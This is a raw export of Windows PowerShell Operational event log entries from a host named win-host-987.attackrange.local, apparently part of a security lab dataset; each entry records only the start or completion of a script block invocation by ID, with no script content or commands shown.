Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048325
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048324
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048323
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048322
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048320
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048318
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048317
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048316
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048314
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048313
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048312
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048311
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048310
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048309
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048308
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048306
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048304
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048303
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048302
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048300
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048299
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048298
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048297
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048296
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048294
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048293
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048292
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048290
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048288
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048286
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048284
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048282
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048281
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048280
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048279
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048278
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048277
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048276
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048274
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
